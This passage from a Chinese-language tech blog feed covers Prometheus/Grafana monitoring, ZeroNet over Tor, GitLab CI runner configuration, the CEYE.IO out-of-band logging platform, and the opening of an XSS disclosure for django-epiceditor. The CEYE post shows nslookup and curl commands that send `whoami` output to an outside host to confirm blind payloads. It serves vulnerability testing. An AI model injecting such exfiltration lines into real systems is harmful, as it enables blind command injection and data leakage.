class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">grafana-cli plugins install grafana-piechart-panel</span><br><span class="line">grafana-cli plugins install raintank-worldping-app</span><br><span class="line"></span><br><span class="line"># 插件重启生效</span><br><span class="line">sudo service grafana-server restart</span><br></pre></td></tr></table></figure></p><h2 id="安装-node-exporter"><a href="#安装-node-exporter" class="headerlink" title="安装 node_exporter"></a>安装 node_exporter</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/prometheus/node_exporter/releases/download/v0.17.0/node_exporter-0.17.0.linux-amd64.tar.gz</span><br><span class="line">tar zxvf node_exporter-0.17.0.linux-amd64.tar.gz</span><br><span class="line">./node_exporter-0.17.0.linux-amd64/node_exporter</span><br></pre></td></tr></table></figure><h2 id="安全性"><a href="#安全性" class="headerlink" title="安全性"></a>安全性</h2><p>大多数 <code>Prometheus</code> 和 <code>Grafana</code> 服务是安装在内网或私有网络的，加上 <code>basic auth</code> 认证可以有效的防止大多数攻击。</p><p><code>node_exporter</code> 服务是默认开启在 <code>http://example.com:9100/metrics</code>，而大多数监控点是在外网的，通过<code>Google</code>, <code>Zoomeye</code>, <code>Shodan</code> 等搜索引擎进行搜索，可以看到有非常多的 <code>/metrics</code> 页面暴露在外网。这会有潜在安全隐患吗？答案是肯定的。</p><p>事实上 <code>node_exporter</code> 是简单的只读目标，因此没有太多可利用的。此外，从安全角度来看，大多数指标都无趣，但也有例外。</p><p>如果你不想有被看到服务器运行状况的风险，通常建议使用简单的防火墙规则来阻止公共互联网访问，并且通过反向代理（例如nginx）来添加TLS和某种身份验证。Prometheus服务器可以支持SSL / x509证书和基本身份验证。</p>]]></content>
<summary type="html">
<h1 id="服务监控工具"><a href="#服务监控工具" class="headerlink" title="服务监控工具"></a>服务监控工具</h1><p>基于 Prometheus + Grafana 搭建的监控平台</p>
<p><a href="https:
</summary>
<category term="DevOps" scheme="https://morningchen.com/categories/DevOps/"/>
<category term="Prometheus" scheme="https://morningchen.com/tags/Prometheus/"/>
<category term="Grafana" scheme="https://morningchen.com/tags/Grafana/"/>
</entry>
<entry>
<title>Use ZeroNet With Tor</title>
<link href="https://morningchen.com/2018/11/30/use-zeronet-with-tor/"/>
<id>https://morningchen.com/2018/11/30/use-zeronet-with-tor/</id>
<published>2018-11-30T09:31:00.000Z</published>
<updated>2018-11-30T09:25:49.000Z</updated>
<content type="html"><![CDATA[<h1 id="Use-ZeroNet-With-Tor"><a href="#Use-ZeroNet-With-Tor" class="headerlink" title="Use ZeroNet With Tor"></a>Use ZeroNet With Tor</h1><blockquote><p><code>ZeroNet</code> 本身并不是匿名网络。但他可以与 <code>Tor Browser</code> 结合，实现匿名网络的功能。</p></blockquote><ol><li><p>安装 <code>ZeroNet</code> 和 <code>Tor Browser</code>，详细教程可以参见官网。</p></li><li><p>打开洋葱浏览器（Tor borwser）</p><ul><li>打开网址 about:preferences</li><li>点击 网络代理 - 设置</li><li>输入 127.0.0.1 并把这个地址加入到 不通过代理访问</li></ul></li></ol><a id="more"></a><p><img src="torsettings.png" alt=""></p><ol start="3"><li><p>编辑 <code>Tor</code> 的配置文件 <code>torrc</code>，添加一行，然后重启 <code>Tor</code> 服务</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ControlPort 9051</span><br></pre></td></tr></table></figure></li><li><p>运行 <code>ZeroNet</code> 并打开 <code>http://127.0.0.1:43110/Config</code>，设置 Network - Tor - Always<br><img src="zeronetconfig.png" alt=""></p></li><li><p>找到 <code>ZeroNet</code> 的配置文件 <code>zeronet.conf</code>，增加 2 行 Tor 代理配置，保存并重启 <code>ZeroNet</code> 服务</p></li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[global]</span><br><span class="line">tor = always</span><br><span class="line">fileserver_port = 15441</span><br><span class="line">tor_controller = 127.0.0.1:9151</span><br><span class="line">tor_proxy = 127.0.0.1:9150</span><br></pre></td></tr></table></figure><ol start="6"><li>用 <code>Tor Browser</code> 访问 <code>http://127.0.0.1:43110</code> 就可以啦。</li></ol><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul><li><code>ZeroNet中文安装指南</code> <a href="https://stgapr.github.io/zeronet-Documentation-ZH_CN/faq/" target="_blank" rel="noopener">https://stgapr.github.io/zeronet-Documentation-ZH_CN/faq/</a></li><li><code>Tor</code> 配置文件路径 <a href="https://www.torproject.org/docs/faq.html.en#AdvancedTorUsage" target="_blank" rel="noopener">https://www.torproject.org/docs/faq.html.en#AdvancedTorUsage</a></li></ul>]]></content>
<summary type="html">
<h1 id="Use-ZeroNet-With-Tor"><a href="#Use-ZeroNet-With-Tor" class="headerlink" title="Use ZeroNet With Tor"></a>Use ZeroNet With Tor</h1><blockquote>
<p><code>ZeroNet</code> 本身并不是匿名网络。但他可以与 <code>Tor Browser</code> 结合，实现匿名网络的功能。</p>
</blockquote>
<ol>
<li><p>安装 <code>ZeroNet</code> 和 <code>Tor Browser</code>，详细教程可以参见官网。</p>
</li>
<li><p>打开洋葱浏览器（Tor borwser）</p>
<ul>
<li>打开网址 about:preferences</li>
<li>点击 网络代理 - 设置</li>
<li>输入 127.0.0.1 并把这个地址加入到 不通过代理访问</li>
</ul>
</li>
</ol>
</summary>
<category term="Research" scheme="https://morningchen.com/categories/Research/"/>
<category term="ZeroNet" scheme="https://morningchen.com/tags/ZeroNet/"/>
<category term="Tor" scheme="https://morningchen.com/tags/Tor/"/>
</entry>
<entry>
<title>Use Gitlab CI</title>
<link href="https://morningchen.com/2018/10/16/use-gitlab-ci/"/>
<id>https://morningchen.com/2018/10/16/use-gitlab-ci/</id>
<published>2018-10-16T06:31:22.000Z</published>
<updated>2018-11-30T09:24:31.000Z</updated>
<content type="html"><![CDATA[<h2 id="为何使用-CI-CD"><a href="#为何使用-CI-CD" class="headerlink" title="为何使用 CI/CD"></a>为何使用 CI/CD</h2><blockquote><p>写了一个跨平台桌面应用项目，其使用 Elecron 作为框架，需要在不同的桌面端（mac，win，linux）进行测试+打包工作，手动方式很繁琐，我们希望有一套 CI/CD 能够完成 自动化测试打包及部署。</p></blockquote><ul><li>如果使用的是 Gitlab 作为版本控制工具，对应的使用<code>Gitlab CI</code>作为解决方案。</li><li>如果使用 Github 作为版本控制工具，则可以使用<code>Travis CI</code>(支持 Linux + OSX 平台，Windows 支持也将会马上发布)和<code>AppVeyor</code>(支持 Windows + Linux 平台)</li></ul><p>我们这边以<code>Gitlab CI</code>为例。</p><a id="more"></a><h2 id="1-配置-Gitlab-Runner"><a href="#1-配置-Gitlab-Runner" class="headerlink" title="1. 配置 Gitlab Runner"></a>1. 配置 <code>Gitlab Runner</code></h2><p><code>Gitlab Runner</code>是<code>.gitlab-ci.yml</code>脚本的运行器，<code>Gitlab Runner</code>是基于 Gitlab-CI 的 API 进行构建的相互隔离的机器（或虚拟机）。<code>GitLab Runner</code> 不需要和 Gitlab 安装在同一台机器上，但是考虑到 GitLab Runner 的资源消耗问题和安全问题，也不建议这两者安装在同一台机器上。</p><p><code>Gitlab Runner</code>分为两种，<code>Shared runners</code>和<code>Specific runners</code>。<br><code>Specific runners</code>只能被指定的项目使用，<code>Shared runners</code>则可以运行所有开启 <code>Allow shared runners</code>选项的项目。</p><p>关于如何安装<code>Gitlab Runner</code>，这里就不细说了，<a href="https://docs.gitlab.com/runner/install/" target="_blank" rel="noopener">官方文档</a> 肯定是最佳选择。</p><p>这里我们配置了 2 台<code>Specific Runner</code>，一台 Windows 平台下，一台 Linux 平台下，如图所示</p><p><img src="gitlab-runner.jpeg" alt=""></p><p>顺便说说配置时踩到的坑：</p><blockquote><p>在配置玩 Runner 后，gitlab ui 一直显示这个 Runner 的警告，不是绿色的 而是感叹号 ⚠️</p></blockquote><p><strong>后来发现在执行完<code>gitlab-runner start</code>后，还要执行<code>gitlab-runner run</code>才算是真正的跑起来。。。</strong></p><p>我们可以查看一下<code>Linux Runner</code>的配置：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">sudo vi /etc/gitlab-runner/config.toml</span><br><span class="line"></span><br><span class="line">concurrent = 1</span><br><span class="line">check_interval = 0</span><br><span class="line"></span><br><span class="line">[session_server]</span><br><span class="line"> session_timeout = 1800</span><br><span class="line"></span><br><span class="line">[[runners]]</span><br><span class="line"> name = <span class="string">"WH46-Linux-Runner"</span></span><br><span class="line"> url = <span class="string">"https://xxxxxxxx.com/"</span></span><br><span class="line"> token = <span class="string">"xxxxxxxx"</span></span><br><span class="line"> executor = <span class="string">"docker"</span></span><br><span class="line"> [runners.docker]</span><br><span class="line"> tls_verify = <span class="literal">false</span></span><br><span class="line"> image = <span class="string">"python:3.6.6-slim"</span></span><br><span class="line"> privileged = <span class="literal">false</span></span><br><span class="line"> disable_cache = <span class="literal">false</span></span><br><span class="line"> volumes = [<span class="string">"/root/build_cache:/cache:rw"</span>]</span><br><span class="line"> shm_size = 0</span><br><span class="line"> pull_policy = <span class="string">"if-not-present"</span></span><br><span class="line"> [runners.cache]</span><br><span class="line"> [runners.cache.s3]</span><br><span class="line"> [runners.cache.gcs]</span><br></pre></td></tr></table></figure><ul><li>这里我们选择<code>docker</code>作为 <code>Runner</code>的<code>executor</code>，当然也可以选择<code>shell</code>。</li><li>如果想在 docker 的宿主机上保存 cache，可以配置<code>volumes = ["/root/build_cache:/cache:rw"]</code>，将宿主机的<code>/root/build_cache</code>目录映射到 docker 的<code>/cache</code>目录，并且可读可写。</li><li>这里拉取 docker 镜像的策略是<code>pull_policy = "if-not-present"</code>，当本地镜像不存在时，才拉取远程的镜像（默认配置是直接从远程拉取）</li></ul><p>下面是<code>Windows Runner</code>的配置</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">concurrent = 1</span><br><span class="line">check_interval = 0</span><br><span class="line"></span><br><span class="line">[session_server]</span><br><span class="line"> session_timeout = 1800</span><br><span class="line"></span><br><span class="line">[[runners]]</span><br><span class="line"> name = <span class="string">"WH44-WIN-Runner"</span></span><br><span class="line"> url = <span class="string">"https://xxxxxxx.com/"</span></span><br><span class="line"> token = <span class="string">"xxxxxxxx"</span></span><br><span class="line"> executor = <span class="string">"shell"</span></span><br><span class="line"> [runners.cache]</span><br><span class="line"> [runners.cache.s3]</span><br><span class="line"> [runners.cache.gcs]</span><br></pre></td></tr></table></figure><ul><li>这里我们选择<code>shell</code>作为 <code>Runner</code>的<code>executor</code>。（因为 docker 没有 windows 的镜像，而我们需要在 windows 环境下打包）</li></ul><h2 id="2-配置-gitlab-ci-yml"><a href="#2-配置-gitlab-ci-yml" class="headerlink" title="2. 配置 .gitlab-ci.yml"></a>2. 配置 <code>.gitlab-ci.yml</code></h2><p>只要在项目仓库的根目录添加<code>.gitlab-ci.yml</code>文件，并且配置了Runner（运行器），那么每一次合并请求（MR）或者push 或者打tag 都会触发CI pipeline。</p><p>以下是一个例子，更多的配置可以参考 <code>gitlab ci</code> 的官方文档<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">image: python:3.6.6-custom</span><br><span class="line">stages:</span><br><span class="line"> - test</span><br><span class="line"> - report</span><br><span class="line"> - deploy</span><br><span class="line"></span><br><span class="line">variables:</span><br><span class="line"> PIP_CACHE_DIR: "$CI_PROJECT_DIR/pip-cache"</span><br><span class="line"></span><br><span class="line">cache:</span><br><span class="line"> key: "$CI_PROJECT_ID"</span><br><span class="line"> paths:</span><br><span class="line"> - $CI_PROJECT_DIR/pip-cache</span><br><span class="line"> - $CI_PROJECT_DIR/node_modules</span><br><span class="line"></span><br><span class="line">before_script:</span><br><span class="line"><span class="comment"># - apt-get update && apt-get install -y --no-install-recommends gcc python3-dev libssl-dev</span></span><br><span class="line"><span class="comment"># - apt-get install --reinstall -y build-essential</span></span><br><span class="line"> - python --version</span><br><span class="line"> - pip install -r zipoc/requirements.txt -i https://mirrors.aliyun.com/pypi/simple</span><br><span class="line"></span><br><span class="line">test:</span><br><span class="line"> stage: test</span><br><span class="line"> tags:</span><br><span class="line"> - linux</span><br><span class="line"> script:</span><br><span class="line"> - pip list</span><br><span class="line"><span class="comment"># - python -m unittest</span></span><br><span class="line"></span><br><span class="line">coverage:</span><br><span class="line"> stage: report</span><br><span class="line"> tags:</span><br><span class="line"> - linux</span><br><span class="line"> coverage: '/TOTAL\s+\d+\s+\d+\s+(\d+%)/'</span><br><span class="line"> script:</span><br><span class="line"> - pip install coverage</span><br><span class="line"><span class="comment"># - coverage run -m unittest</span></span><br><span class="line"> - coverage report</span><br><span class="line"></span><br><span class="line">windows package:</span><br><span class="line"> stage: deploy</span><br><span class="line"> tags:</span><br><span class="line"> - win</span><br><span class="line"> before_script:</span><br><span class="line"> - pwd</span><br><span class="line"> - virtualenv.exe --python "C:\\Users\\app\\AppData\\Local\\Programs\\Python\\Python36\\python.exe" env</span><br><span class="line"> - call env\Scripts\activate</span><br><span class="line"> - call pip install -r zipoc/requirements.txt</span><br><span class="line"> script:</span><br><span class="line"> - pyinstaller</span><br><span class="line"> - npm run build:win32</span><br><span class="line"> artifacts:</span><br><span class="line"> paths:</span><br><span class="line"> - build/zipoc-win32-x64/</span><br><span class="line"> expire_in: 7d</span><br><span class="line"> only:</span><br><span class="line"> - tags</span><br><span class="line"> except:</span><br><span class="line"> - branches</span><br></pre></td></tr></table></figure></p><h2 id="问题-windows-runner-不运行"><a href="#问题-windows-runner-不运行" class="headerlink" title="问题: windows runner 不运行"></a>问题: windows runner 不运行</h2><p>运行完<code>before_script</code>后面的<code>script</code>就跳过不运行了，后来发现是<code>CMD</code>的坑。</p><p>在 windows 上使用 Runner 时，默认 shell 是<code>CMD</code>，有太多 80 年代的<code>MS-DOS</code>遗留问题需要踩，<br>解决办法是在命令前加上<code>call</code>，<br>或者使用<code>powershell</code>作为 Runner 的<code>shell</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">before_script:</span><br><span class="line"> - call npm install --silent</span><br><span class="line"></span><br><span class="line">stages:</span><br><span class="line"> - test</span><br><span class="line"></span><br><span class="line">lint:</span><br><span class="line"> stage: test</span><br><span class="line"> tags:</span><br><span class="line"> - javascript</span><br><span class="line"> script:</span><br><span class="line"> - call eslint */**</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h2 id="为何使用-CI-CD"><a href="#为何使用-CI-CD" class="headerlink" title="为何使用 CI/CD"></a>为何使用 CI/CD</h2><blockquote>
<p>写了一个跨平台桌面应用项目，其使用 Elecron 作为框架，需要在不同的桌面端（mac，win，linux）进行测试+打包工作，手动方式很繁琐，我们希望有一套 CI/CD 能够完成 自动化测试打包及部署。</p>
</blockquote>
<ul>
<li>如果使用的是 Gitlab 作为版本控制工具，对应的使用<code>Gitlab CI</code>作为解决方案。</li>
<li>如果使用 Github 作为版本控制工具，则可以使用<code>Travis CI</code>(支持 Linux + OSX 平台，Windows 支持也将会马上发布)和<code>AppVeyor</code>(支持 Windows + Linux 平台)</li>
</ul>
<p>我们这边以<code>Gitlab CI</code>为例。</p>
</summary>
<category term="DevOps" scheme="https://morningchen.com/categories/DevOps/"/>
<category term="GitLab" scheme="https://morningchen.com/tags/GitLab/"/>
<category term="CI/CD" scheme="https://morningchen.com/tags/CI-CD/"/>
</entry>
<entry>
<title>CEYE.IO</title>
<link href="https://morningchen.com/2017/11/04/ceye-architechure/"/>
<id>https://morningchen.com/2017/11/04/ceye-architechure/</id>
<published>2017-11-04T03:46:48.000Z</published>
<updated>2018-09-27T14:35:46.000Z</updated>
<content type="html"><![CDATA[<h2 id="1-CEYE是什么"><a href="#1-CEYE是什么" class="headerlink" title="1. CEYE是什么"></a>1. CEYE是什么</h2><p>CEYE是一个用来检测 <code>带外（Out-of-Band）</code>流量的监控平台，如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息（例如SSRF / XXE / RFI / RCE）。</p><h2 id="2-为什么会有CEYE"><a href="#2-为什么会有CEYE" class="headerlink" title="2. 为什么会有CEYE"></a>2. 为什么会有CEYE</h2><p>提到为什么会有CEYE就必须提到它的使用场景了。</p><p>有两种常见的情况会导致许多漏洞扫描工具漏扫：</p><ul><li>漏洞检测或漏洞利用需要进一步的用户或系统交互</li><li>一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。</li></ul><p>为了解决这个问题，我们开发了CEYE平台。通过使用诸如DNS和HTTP之类的带外信道，便可以得到回显信息。</p><a id="more"></a><h2 id="3-如何使用"><a href="#3-如何使用" class="headerlink" title="3. 如何使用"></a>3. 如何使用</h2><p>登录 <code>ceye.io</code>，在<a href="http://ceye.io/profile" target="_blank" rel="noopener">用户详情页</a>可以看到自己的域名标识符 <code>identifier</code>，对于每个用户，都有唯一的域名标识符如<code>abcdef.ceye.io</code>。所有来自于<code>abcdef.ceye.io</code>或<code>*.abcdef.ceye.io</code>的 <code>DNS查询</code>和<code>HTTP请求</code>都会被记录。通过查看这些记录信息，安全研究人员可以确认并改进自己的漏洞研究方案。</p><h3 id="3-1-通过DNS带外信道检测-Blind-Payload-的执行情况"><a href="#3-1-通过DNS带外信道检测-Blind-Payload-的执行情况" class="headerlink" title="3.1 通过DNS带外信道检测 Blind Payload 的执行情况"></a>3.1 通过DNS带外信道检测 Blind Payload 的执行情况</h3><p><img src="ceye-dns.jpeg" alt=""></p><p>DNS查询可以以多种不同的方式进行解析。<code>CEYE.IO</code>平台提供了一台DNS Server来解析域名。它的<code>nameserver address</code>被设置为自己的服务器IP，因此所有关于<code>ceye.io</code>的域名的DNS查询最终都会被发送到CEYE的DNS服务器。</p><p>例如，在终端中使用<code>nslookup</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">➜ nslookup `whoami`.abcdef.ceye.io</span><br><span class="line">Server:127.1.1.1</span><br><span class="line">Address:127.1.1.1<span class="comment">#53</span></span><br><span class="line"></span><br><span class="line">Non-authoritative answer:</span><br><span class="line">Name:chan.abcdef.ceye.io</span><br><span class="line">Address: 118.192.48.48</span><br></pre></td></tr></table></figure><p>可以看到有记录产生<br><img src="ceye-dns01.jpeg" alt=""></p><p>我们保存了最近的100条记录，你可以通过搜索框，搜索并导出你需要的结果，导出格式为<code>JSON</code>。更多的Playload信息可以登录<code>CEYE.IO</code>平台获取。</p><h3 id="3-2-通过HTTP带外信道检测-Blind-Payload-的执行情况"><a href="#3-2-通过HTTP带外信道检测-Blind-Payload-的执行情况" class="headerlink" title="3.2 通过HTTP带外信道检测 Blind Payload 的执行情况"></a>3.2 通过HTTP带外信道检测 Blind Payload 的执行情况</h3><p>CEYE.IO平台拥有自己的HTTP服务器，记录用户域名的所有请求。这可以用来做一些有趣的事情。例如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">➜ curl -X POST http://ip.port.abcdef.ceye.io/`whoami`?p=http -d data=http</span><br><span class="line">{<span class="string">"meta"</span>: {<span class="string">"code"</span>: 201, <span class="string">"message"</span>: <span class="string">"HTTP Record Insert Success"</span>}}</span><br></pre></td></tr></table></figure><p><img src="ceye-http01.jpeg" alt=""></p><p>在后台，CEYE.IO平台将记录客户端请求的URL，远程IP地址，Http Method，Data，User Agent，Content Type等信息。你可以在HTTP Records页面找到这些详细信息。</p><h2 id="4-关于CEYE架构"><a href="#4-关于CEYE架构" class="headerlink" title="4. 关于CEYE架构"></a>4. 关于CEYE架构</h2><p>原ceye的架构：</p><ul><li>开发语言：python2.7</li><li>Nginx反向代理</li><li>后端WEB引擎：Flask</li><li>ORM：SQLAlchemy</li><li>数据库：MySQL</li></ul><p>新的CEYE采用了前后端分离架构：</p><p>前端 <code>ceye.io</code>：</p><ul><li>开发语言：ES6</li><li>React全家桶：react react-router react-redux</li><li>异步请求库：Axios</li><li>ES6转码编译器：Babel</li><li>打包工具：Webpack</li><li>UI设计：AntDesion</li><li>UI动效：AntMotion</li></ul><p>后端 <code>api.ceye.io</code>：</p><ul><li>开发语言：python3.6</li><li>WEB框架：<a href="https://github.com/falconry/falcon" target="_blank" rel="noopener">Falcon</a></li><li>ORM：redisco</li><li>数据库 NOSQL：Redis</li><li>数据校验：cerberus</li><li>部署：Fabric</li><li>DNS Server：twisted</li><li>WSGI Server：gunicorn</li><li>负载均衡：Nginx</li></ul><h3 id="4-1-技术选型"><a href="#4-1-技术选型" class="headerlink" title="4.1 技术选型"></a>4.1 技术选型</h3><h4 id="数据库-MySQL-or-Redis？"><a href="#数据库-MySQL-or-Redis？" class="headerlink" title="数据库 MySQL or Redis？"></a>数据库 MySQL or Redis？</h4><p>我们完全弃用了以前的MySQL数据库，采用了Redis作为后端数据库。原因是当数个表的数据突破了亿行，页面上同时需要读取的动态数据增多时，为了优化MySQL的操作就显得得不偿失。而 Redis 可以在单台服务器上实现每秒数万次的读取和写入。</p><p>既然选择了Redis作为后端数据库，那么相应的应该选择一个Redis ORM。这里我们选择了Redisco作为ORM，虽然原作者已经弃坑不更新了，它的继承者也已经快一年多没有回复issue了，也没有做python3的适配。但是谁叫它的接口更符合django orm的操作方式呢。于是提交了一个PR适配了python3。</p><h4 id="WEB-Framework？"><a href="#WEB-Framework？" class="headerlink" title="WEB Framework？"></a>WEB Framework？</h4><p>这里我们选择falcon而没有使用flask，django或其他python web框架的原因是它更快而且RESTful，这里推荐一个扩展阅读：<a href="http://klen.github.io/py-frameworks-bench/" target="_blank" rel="noopener">关于Python Web框架的性能测试结果</a>。<br>当我写完这个项目时，发现了一个更快的框架 <a href="https://github.com/squeaky-pl/japronto" target="_blank" rel="noopener">Japronto</a></p><h4 id="前端框架？"><a href="#前端框架？" class="headerlink" title="前端框架？"></a>前端框架？</h4><p>这里面临了2个选择，Vue or React？</p><ul><li>选择熟悉的？Vue （<a href="https://www.iviewui.com/" target="_blank" rel="noopener">iView</a> ， <a href="http://element.eleme.io/#/zh-CN" target="_blank" rel="noopener">Element</a>）</li><li>选择适配公司技术栈的？React （<a href="https://ant.design" target="_blank" rel="noopener">AntDesign</a>）</li><li>学习新技术！React！</li></ul><p>作为一个二手前端，于是开始了踩坑React之旅，各种深坑浅坑不断，还好都一一解决了。<br>作为曾经的Vue粉简单对比下React和Vue：</p><ul><li><p>生态圈</p><p>明显感觉到了React生态圈的强大，蚂蚁金服前端团队的AntDesion项目，真的把我惊艳到了。它的设计原则让我深刻的体会到了什么是<code>让用户觉得自己是爹</code>。</p></li><li><p>上手难度</p><p>两者相比，从上手难度来说React的各种概念真的是让新手脑壳疼，而且react的starter kit都构建得无比恶心。再从代码量方面来说：在写redux action和reducer的时候，各种命名都会显得很繁琐，但又恰好是redux这一套，让后期维护变得更加容易。对于写惯了django template等等后端渲染模版的方式后再学Vue template就会很容易上手，而刚开始用React的JSX语法会觉得有点别扭，但是习惯了又会写得很爽。</p></li></ul><p>这里不展开讨论React和Vue到底哪个好，就和PHP是世界上最美的语言一样，这是个<code>哲学问题</code></p><p>最后希望大家用得开心，我们会持续跟进你们的建议哒~ ^.^</p>]]></content>
<summary type="html">
<h2 id="1-CEYE是什么"><a href="#1-CEYE是什么" class="headerlink" title="1. CEYE是什么"></a>1. CEYE是什么</h2><p>CEYE是一个用来检测 <code>带外（Out-of-Band）</code>流量的监控平台，如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息（例如SSRF / XXE / RFI / RCE）。</p>
<h2 id="2-为什么会有CEYE"><a href="#2-为什么会有CEYE" class="headerlink" title="2. 为什么会有CEYE"></a>2. 为什么会有CEYE</h2><p>提到为什么会有CEYE就必须提到它的使用场景了。</p>
<p>有两种常见的情况会导致许多漏洞扫描工具漏扫：</p>
<ul>
<li>漏洞检测或漏洞利用需要进一步的用户或系统交互</li>
<li>一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。</li>
</ul>
<p>为了解决这个问题，我们开发了CEYE平台。通过使用诸如DNS和HTTP之类的带外信道，便可以得到回显信息。</p>
</summary>
<category term="Product" scheme="https://morningchen.com/categories/Product/"/>
<category term="CEYE" scheme="https://morningchen.com/categories/Product/CEYE/"/>
<category term="React" scheme="https://morningchen.com/tags/React/"/>
<category term="Python" scheme="https://morningchen.com/tags/Python/"/>
<category term="Architechure" scheme="https://morningchen.com/tags/Architechure/"/>
<category term="CEYE" scheme="https://morningchen.com/tags/CEYE/"/>
</entry>
<entry>
<title>Cross site scripting vulnerability in django-epiceditor</title>
<link href="https://morningchen.com/2017/03/09/Cross-site-scripting-vulnerability-in-django-epiceditor/"/>
<id>https://morningchen.com/2017/03/09/Cross-site-scripting-vulnerability-in-django-epiceditor/</id>
<published>2017-03-09T04:43:38.000Z</published>
<updated>2018-09-27T03:49:20.000Z</updated>
<content type="html"><![CDATA[<h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>django-epiceditor</p><p>A django app that allows the easy addition of EpicEditor markdown editor to a django form field, whether in a custom app or the Django Admin.</p><p>The project url: <a href="https://pypi.python.org/pypi/django-epiceditor" target="_blank" rel="noopener">https://pypi.python.org/pypi/django-epiceditor</a></p><a id="more"></a><h2 id="Environment"><a href="#Environment" class="headerlink" title="Environment"></a>Environment</h2><ul><li>django==1.10.6</li><li>django-epiceditor==0.2.3</li></ul><h2 id="Vulnerability-reproduction"><a href="#Vulnerability-reproduction" class="headerlink" title="Vulnerability reproduction"></a>Vulnerability reproduction</h2><p>Your apps, in the form.py<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django <span class="keyword">import</span> forms</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> epiceditor.widgets <span class="keyword">import</span> AdminEpicEditorWidget</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> .models <span class="keyword">import</span> FooModel</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FooModelForm</span><span class="params">(forms.ModelForm)</span>:</span></span><br><span class="line"> title = forms.CharField(widget=AdminEpicEditorWidget())</span><br><span class="line"> info = forms.CharField(widget=AdminEpicEditorWidget())</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Meta</span>:</span></span><br><span class="line"> model = FooModel</span><br><span class="line"> fields = <span class="string">"__all__"</span></span><br></pre></td></tr></table></figure></p><p>Then enter django background page, if the field use widget AdminEpicEditorWidget</p><p>in editor:</p><p><img 